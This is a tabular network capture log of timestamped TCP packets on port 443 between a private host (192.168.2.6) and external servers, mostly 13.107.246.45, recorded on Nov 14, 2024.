Nov 14, 2024 17:25:01.783143044 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.783175945 CET	50011	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.783193111 CET	443	50011	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.786371946 CET	50021	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.786392927 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.786598921 CET	50021	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.786777973 CET	50021	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.786787033 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.789510012 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:25:01.789525032 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:01.801693916 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.801774025 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.801888943 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.801953077 CET	50008	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.802007914 CET	50008	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.802020073 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.802031994 CET	50008	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.802037001 CET	443	50008	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.805330038 CET	50023	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.805345058 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:01.805445910 CET	50023	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.806859970 CET	50023	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:01.806874037 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.272975922 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.275185108 CET	50018	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.275211096 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.275924921 CET	50018	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.275940895 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.443511963 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.444742918 CET	50019	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.444788933 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.445220947 CET	50019	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.445230007 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.449625969 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.450032949 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.450066090 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.450143099 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.450287104 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.450467110 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.450474024 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.450500011 CET	50018	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.451318979 CET	50018	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.451318979 CET	50018	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.451337099 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.451347113 CET	443	50018	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.468009949 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.468097925 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.468193054 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.468319893 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.468358994 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.585269928 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.586631060 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.587030888 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.587058067 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.587085962 CET	50019	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.587090015 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.587131023 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.587131023 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.587171078 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.587585926 CET	50019	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.587600946 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.587614059 CET	50019	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.587620020 CET	443	50019	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.588634014 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.589392900 CET	50023	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.589426041 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.589821100 CET	50023	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.589828968 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.590322971 CET	50021	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.590331078 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.590679884 CET	50021	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.590687037 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.590822935 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.590842962 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.590882063 CET	50020	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.590888023 CET	443	50020	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.595846891 CET	50027	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.595942974 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.596024036 CET	50027	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.599145889 CET	50027	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.599165916 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.600567102 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.600655079 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.600740910 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.600864887 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.600903988 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.718301058 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.718775034 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.718823910 CET	50021	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.719063997 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.719235897 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.719290972 CET	50023	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.720469952 CET	50021	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.720484972 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.720496893 CET	50021	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.720500946 CET	443	50021	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.721529007 CET	50023	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.721533060 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.721541882 CET	50023	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.721544981 CET	443	50023	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.725724936 CET	50029	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.725754023 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.725817919 CET	50029	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.726603985 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.726691961 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.726771116 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.726902962 CET	50029	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.726916075 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:02.727416992 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:02.727454901 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.240446091 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.281843901 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.295392990 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.295449972 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.295977116 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.296032906 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.330635071 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.331640959 CET	50027	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.331682920 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.332149029 CET	50027	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.332155943 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.341898918 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.342967987 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.342994928 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.343403101 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.343411922 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.429584026 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.429641008 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.429708004 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.429714918 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.429766893 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.431663990 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.431708097 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.431740999 CET	50025	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.431756973 CET	443	50025	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.466722012 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.474962950 CET	50038	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.474994898 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.475244999 CET	50038	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.475596905 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.475626945 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.476094007 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.476102114 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.476269960 CET	50038	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.476284981 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.493830919 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.494015932 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.495435953 CET	50027	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.497189999 CET	50027	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.497189999 CET	50027	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.497258902 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.497293949 CET	443	50027	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.499645948 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.499680042 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.499752998 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.499758959 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.499795914 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.505320072 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.539546013 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.539565086 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.539577961 CET	50028	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.539585114 CET	443	50028	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.539690018 CET	50029	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.539705038 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.540196896 CET	50029	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.540201902 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.559928894 CET	50039	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.559954882 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.560019016 CET	50039	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.565145016 CET	50039	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.565160990 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.566299915 CET	50040	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.566338062 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.567341089 CET	50040	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.568630934 CET	50040	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.568655968 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.612734079 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.612803936 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.612883091 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.612903118 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.614650965 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.614672899 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.614684105 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.615061045 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.615147114 CET	443	50030	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.615336895 CET	50030	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.630013943 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.630032063 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.631349087 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.634568930 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.634586096 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.668293953 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.668309927 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.668348074 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.668369055 CET	50029	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.668411016 CET	50029	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.670217037 CET	50029	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.670228004 CET	443	50029	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.683342934 CET	50044	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.683360100 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:03.683425903 CET	50044	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.683631897 CET	50044	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:03.683643103 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.217609882 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.232907057 CET	50038	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.232925892 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.233844995 CET	50038	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.233850956 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.313580990 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.318240881 CET	50039	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.318265915 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.318711042 CET	50039	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.318717957 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.322341919 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.323151112 CET	50040	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.323162079 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.337167978 CET	50040	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.337172985 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.376523018 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.376588106 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.376737118 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.376796007 CET	50038	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.383836985 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.435204983 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.436820984 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.444616079 CET	50038	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.444624901 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.444638014 CET	50038	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.444643021 CET	443	50038	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.446295023 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.446302891 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.446846962 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.446851969 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.447849035 CET	50044	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.447863102 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.448388100 CET	50044	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.448395014 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.451734066 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.451773882 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.451824903 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.451944113 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.451956987 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.453326941 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.453392982 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.453623056 CET	50039	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.454180956 CET	50039	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.454195976 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.454233885 CET	50039	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.454240084 CET	443	50039	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.456228018 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.456244946 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.456300974 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.456485987 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.456496000 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.499424934 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.499624014 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.499689102 CET	50040	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.585334063 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.585366011 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.585375071 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.585496902 CET	50044	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.585570097 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.585782051 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.617146015 CET	50040	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.617155075 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.617212057 CET	50040	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.617216110 CET	443	50040	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.632679939 CET	50044	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.632697105 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.632708073 CET	50044	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.632713079 CET	443	50044	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.634203911 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.634210110 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.634218931 CET	50042	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.634222984 CET	443	50042	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.642242908 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.642288923 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.642441988 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.647283077 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.647313118 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.648374081 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.648386955 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.648637056 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.648776054 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.648787022 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.651340961 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.651354074 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:04.651705980 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.651705980 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:04.651738882 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.256531000 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.257141113 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.257170916 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.257678986 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.257684946 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.262001991 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.262407064 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.262420893 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.262835979 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.262840033 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.392827988 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.392848015 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.392895937 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.392975092 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.392993927 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.393254042 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.393269062 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.393279076 CET	50047	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.393290997 CET	443	50047	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.394576073 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.395531893 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.395591974 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.395658970 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.395668030 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.395716906 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.395765066 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.396065950 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.396622896 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.396645069 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.397449970 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.397456884 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.397593021 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.397602081 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.397617102 CET	50048	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.397620916 CET	443	50048	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.399422884 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.399889946 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.399903059 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.400212049 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.400216103 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.400701046 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.400718927 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.401092052 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.401098967 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.402481079 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.402522087 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.402614117 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.402693987 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.402707100 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.403609991 CET	50055	443	192.168.2.6	13.107.246.45
